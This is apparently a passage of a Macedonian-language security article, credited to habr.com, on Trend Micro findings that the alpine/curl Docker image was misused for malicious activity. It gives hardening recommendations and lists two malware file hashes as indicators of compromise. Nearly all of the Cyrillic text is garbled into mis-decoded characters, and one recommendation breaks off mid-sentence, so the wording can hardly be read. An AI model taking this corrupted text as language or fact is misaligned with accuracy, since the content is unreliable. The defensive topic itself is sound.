ΠΠ° Π²ΡΠ²ΠΎΡ ΡΠ΅ ΠΏΡΠ΅Π΄Π΅ΡΠΈΠ½ΠΈΡΠ°Π½ΠΈ ΠΌΡΠ΅ΠΆΠ½ΠΈ ΠΎΠΏΡΠ΅Π·ΠΈ, Π½Π° Π΄Π½ΠΎΡΠΎ ΡΠ΅ ΡΠΏΠ΅ΡΠΈΡΠΈΡΠ½ΠΈ ΠΏΠΎΡΡΠΈ Π·Π° ΠΏΡΠ΅Π±Π°ΡΡΠ²Π°ΡΠ΅ Π½Π° ΡΡΠ»ΡΠ³ΠΈ, Π²ΠΊΠ»ΡΡΡΠ²Π°ΡΡΠΈ Π³ΠΎ ΠΈ Docker
Π‘Π»ΠΈΠΊΠ°ΡΠ° ΠΎΠ΄ Π΅ΠΊΡΠ°Π½ΠΎΡ ΠΏΠΎΠΊΠ°ΠΆΡΠ²Π° Π΄Π΅ΠΊΠ° ΡΠ»ΠΈΠΊΠ°ΡΠ° ΡΠΎ Π°Π»ΠΏΡΠΊΠΈ Π²ΠΈΡΠΊΠ°ΡΠ΅ Π΅ ΠΏΡΠ΅Π·Π΅ΠΌΠ΅Π½Π° ΠΏΠΎΠ²Π΅ΡΠ΅ ΠΎΠ΄ 10 ΠΌΠΈΠ»ΠΈΠΎΠ½ΠΈ ΠΏΠ°ΡΠΈ
ΠΡΠ· ΠΎΡΠ½ΠΎΠ²Π° Π½Π° Alpine Linux ΠΈ curl, Π°Π»Π°ΡΠΊΠ° Π·Π° CLI Π΅ΡΠΈΠΊΠ°ΡΠ½Π° Π·Π° ΡΠ΅ΡΡΡΡΠΈ Π·Π° ΠΏΡΠ΅Π½ΠΎΡ Π½Π° Π΄Π°ΡΠΎΡΠ΅ΠΊΠΈ ΠΏΡΠ΅ΠΊΡ ΡΠ°Π·Π»ΠΈΡΠ½ΠΈ ΠΏΡΠΎΡΠΎΠΊΠΎΠ»ΠΈ, ΠΌΠΎΠΆΠ΅ΡΠ΅ Π΄Π° ΠΈΠ·Π³ΡΠ°Π΄ΠΈΡΠ΅
ΠΠ°ΠΆΠ½ΠΎ Π΅ Π΄Π° ΡΠ΅ Π½Π°ΠΏΠΎΠΌΠ΅Π½Π΅ Π΄Π΅ΠΊΠ° ΠΎΠ²Π°Π° ΡΠ»ΠΈΠΊΠ° (Π°Π»ΠΏΡΠΊΠΎ-Π½Π°Π²ΠΈΠ²Π°ΠΌ) ΡΠ°ΠΌΠ° ΠΏΠΎ ΡΠ΅Π±Π΅ Π½Π΅ Π΅ Π·Π»ΠΎΠ½Π°ΠΌΠ΅ΡΠ½Π°, Π½ΠΎ ΠΊΠ°ΠΊΠΎ ΡΡΠΎ ΠΌΠΎΠΆΠ΅ΡΠ΅ Π΄Π° Π²ΠΈΠ΄ΠΈΡΠ΅ ΠΏΠΎΠ³ΠΎΡΠ΅, ΠΌΠΎΠΆΠ΅ Π΄Π° ΡΠ΅ ΠΊΠΎΡΠΈΡΡΠΈ Π·Π° ΠΈΠ·Π²ΡΡΡΠ²Π°ΡΠ΅ Π½Π° ΠΌΠ°Π»ΠΈΡΠΈΠΎΠ·Π½ΠΈ ΡΡΠ½ΠΊΡΠΈΠΈ. Π‘Π»ΠΈΡΠ½ΠΈ ΡΠ»ΠΈΠΊΠΈ Π½Π° Docker ΠΌΠΎΠΆΠ΅ Π΄Π° ΡΠ΅ ΠΊΠΎΡΠΈΡΡΠ°Ρ ΠΈ Π·Π° ΠΈΠ·Π²ΡΡΡΠ²Π°ΡΠ΅ Π½Π° ΠΌΠ°Π»ΠΈΡΠΈΠΎΠ·Π½ΠΈ Π°ΠΊΡΠΈΠ²Π½ΠΎΡΡΠΈ. ΠΠΎ ΠΊΠΎΠ½ΡΠ°ΠΊΡΠΈΡΠ°Π²ΠΌΠ΅ ΠΠΎΠΊΠ΅Ρ ΠΈ ΡΠ°Π±ΠΎΡΠ΅Π²ΠΌΠ΅ ΡΠΎ Π½ΠΈΠ² Π½Π° ΠΎΠ²Π° ΠΏΡΠ°ΡΠ°ΡΠ΅.
ΠΡΠ΅ΠΏΠΎΡΠ°ΠΊΠΈ
ΠΠ½ΡΠΈΠ΄Π΅Π½ΡΠΎΡ Π΄ΠΈΡΠΊΡΡΠΈΡΠ°Π½ Π²ΠΎ ΠΎΠ²ΠΎΡ Π½Π°ΠΏΠΈΡ ΡΠ° Π½Π°Π³Π»Π°ΡΡΠ²Π° ΠΏΠΎΡΡΠ΅Π±Π°ΡΠ° Π΄Π° ΡΠ΅ Π·Π΅ΠΌΠ΅ ΠΏΡΠ΅Π΄Π²ΠΈΠ΄ Π±Π΅Π·Π±Π΅Π΄Π½ΠΎΡΡΠ° ΠΎΠ΄ ΡΠ°ΠΌΠΈΠΎΡ ΠΏΠΎΡΠ΅ΡΠΎΠΊ, Π²ΠΊΠ»ΡΡΡΠ²Π°ΡΡΠΈ Π³ΠΈ ΡΠ»Π΅Π΄Π½ΠΈΡΠ΅ ΠΏΡΠ΅ΠΏΠΎΡΠ°ΠΊΠΈ:
- ΠΠ° ΡΠΈΡΡΠ΅ΠΌΡΠΊΠΈ Π°Π΄ΠΌΠΈΠ½ΠΈΡΡΡΠ°ΡΠΎΡΠΈ ΠΈ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠ΅ΡΠΈ: Π‘Π΅ΠΊΠΎΠ³Π°Ρ ΠΏΡΠΎΠ²Π΅ΡΡΠ²Π°ΡΡΠ΅ Π³ΠΈ ΠΏΠΎΡΡΠ°Π²ΠΊΠΈΡΠ΅ Π·Π° API Π·Π° Π΄Π° Π±ΠΈΠ΄Π΅ΡΠ΅ ΡΠΈΠ³ΡΡΠ½ΠΈ Π΄Π΅ΠΊΠ° ΡΓ¨ Π΅ ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠΈΡΠ°Π½ΠΎ Π΄Π° ΠΏΡΠΈΡΠ°ΡΠ° Π±Π°ΡΠ°ΡΠ° ΡΠ°ΠΌΠΎ ΠΎΠ΄ ΠΎΠ΄ΡΠ΅Π΄Π΅Π½ ΡΠ΅ΡΠ²Π΅Ρ ΠΈΠ»ΠΈ Π²Π½Π°ΡΡΠ΅ΡΠ½Π° ΠΌΡΠ΅ΠΆΠ°.
- Π‘Π»Π΅Π΄Π΅ΡΠ΅ Π³ΠΎ ΠΏΡΠΈΠ½ΡΠΈΠΏΠΎΡ Π½Π° Π½Π°ΡΠΌΠ°Π»ΠΊΡ ΠΏΡΠ°Π²Π°: ΠΎΡΠΈΠ³ΡΡΠ°ΡΡΠ΅ ΡΠ΅ Π΄Π΅ΠΊΠ° ΡΠ»ΠΈΠΊΠΈΡΠ΅ ΠΎΠ΄ ΠΊΠΎΠ½ΡΠ΅ΡΠ½Π΅ΡΠΈ ΡΠ΅ ΠΏΠΎΡΠΏΠΈΡΠ°Π½ΠΈ ΠΈ ΠΏΠΎΡΠ²ΡΠ΄Π΅Π½ΠΈ, ΠΎΠ³ΡΠ°Π½ΠΈΡΠ΅ΡΠ΅ Π³ΠΎ ΠΏΡΠΈΡΡΠ°ΠΏΠΎΡ Π΄ΠΎ ΠΊΡΠΈΡΠΈΡΠ½ΠΈΡΠ΅ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½ΡΠΈ (ΡΡΠ»ΡΠ³Π° Π·Π° Π»Π°Π½ΡΠΈΡΠ°ΡΠ΅ ΠΊΠΎΠ½ΡΠ΅ΡΠ½Π΅Ρ) ΠΈ Π΄ΠΎΠ΄Π°Π΄Π΅ΡΠ΅ ΡΠΈΡΡΠΈΡΠ°ΡΠ΅ Π½Π° ΠΌΡΠ΅ΠΆΠ½ΠΈΡΠ΅ Π²ΡΡΠΊΠΈ.
- Π‘Π»Π΅Π΄Π΅ΡΠ΅
ΠΏΡΠ΅ΠΏΠΎΡΠ°ΠΊΠΈ ΠΈ ΠΎΠ²ΠΎΠ·ΠΌΠΎΠΆΡΠ²Π°Π°Ρ Π±Π΅Π·Π±Π΅Π΄Π½ΠΎΡΠ½ΠΈ ΠΌΠ΅Ρ Π°Π½ΠΈΠ·ΠΌΠΈ, Π½Π° ΠΏΡ.ΠΎΠ΄ ΠΠΎΠΊΠ΅Ρ ΠΈ Π²Π³ΡΠ°Π΄Π΅Π½Π±Π΅Π·Π±Π΅Π΄Π½ΠΎΡΠ½ΠΈ ΠΊΠ°ΡΠ°ΠΊΡΠ΅ΡΠΈΡΡΠΈΠΊΠΈ . - ΠΠΎΡΠΈΡΡΠ΅ΡΠ΅ Π°Π²ΡΠΎΠΌΠ°ΡΡΠΊΠΎ ΡΠΊΠ΅Π½ΠΈΡΠ°ΡΠ΅ Π½Π° ΡΡΠ°Π΅ΡΠ΅ ΠΈ ΡΠ»ΠΈΠΊΠΈ Π·Π° Π΄Π° Π΄ΠΎΠ±ΠΈΠ΅ΡΠ΅ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡΠ΅Π»Π½ΠΈ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΠΈ Π·Π° ΠΏΡΠΎΡΠ΅ΡΠΈΡΠ΅ ΡΡΠΎ ΡΠ΅ ΠΈΠ·Π²ΡΡΡΠ²Π°Π°Ρ Π²ΠΎ ΠΊΠΎΠ½ΡΠ΅ΡΠ½Π΅ΡΠΎΡ (Π½Π° ΠΏΡΠΈΠΌΠ΅Ρ, Π·Π° ΠΎΡΠΊΡΠΈΠ²Π°ΡΠ΅ Π½Π° ΠΈΠ·ΠΌΠ°ΠΌΠ° ΠΈΠ»ΠΈ ΠΏΡΠ΅Π±Π°ΡΡΠ²Π°ΡΠ΅ Π½Π° ΠΏΡΠΎΠΏΡΡΡΠΈ). ΠΠΎΠ½ΡΡΠΎΠ»Π°ΡΠ° Π½Π° Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°ΡΠ° ΠΈ ΡΠ»Π΅Π΄Π΅ΡΠ΅ΡΠΎ Π½Π° ΠΈΠ½ΡΠ΅Π³ΡΠΈΡΠ΅ΡΠΎΡ ΠΏΠΎΠΌΠ°Π³Π°Π°Ρ Π΄Π° ΡΠ΅ ΡΠ»Π΅Π΄Π°Ρ Π½Π΅Π½ΠΎΡΠΌΠ°Π»Π½ΠΈΡΠ΅ ΠΏΡΠΎΠΌΠ΅Π½ΠΈ Π½Π° ΡΠ΅ΡΠ²Π΅ΡΠΈΡΠ΅, Π΄Π°ΡΠΎΡΠ΅ΠΊΠΈΡΠ΅ ΠΈ ΡΠΈΡΡΠ΅ΠΌΡΠΊΠΈΡΠ΅ ΠΎΠ±Π»Π°ΡΡΠΈ.
Trendmicro ΠΈΠΌ ΠΏΠΎΠΌΠ°Π³Π° Π½Π° ΡΠΈΠΌΠΎΠ²ΠΈΡΠ΅ Π½Π° DevOps Π΄Π° Π³ΡΠ°Π΄Π°Ρ Π±Π΅Π·Π±Π΅Π΄Π½ΠΎ, Π±ΡΠ·ΠΎ Π΄Π° ΡΠ΅ ΠΏΡΡΡΠ°Ρ Π²ΠΎ ΡΠΏΠΎΡΡΠ΅Π±Π° ΠΈ Π΄Π° ΡΡΠ°ΡΡΡΠ²Π°Π°Ρ Π½Π°ΡΠ΅ΠΊΠ°Π΄Π΅. Π’ΡΠ΅Π½Π΄ ΠΌΠΈΠΊΡΠΎ
ΠΠ½Π°ΡΠΈ Π½Π° ΠΊΠΎΠΌΠΏΡΠΎΠΌΠΈΡ
ΠΠΎΠ²ΡΠ·Π°Π½ΠΈ Ρ Π°ΡΠΈ:
- 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
- f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)
ΠΠ°
ΠΠ·Π²ΠΎΡ: www.habr.com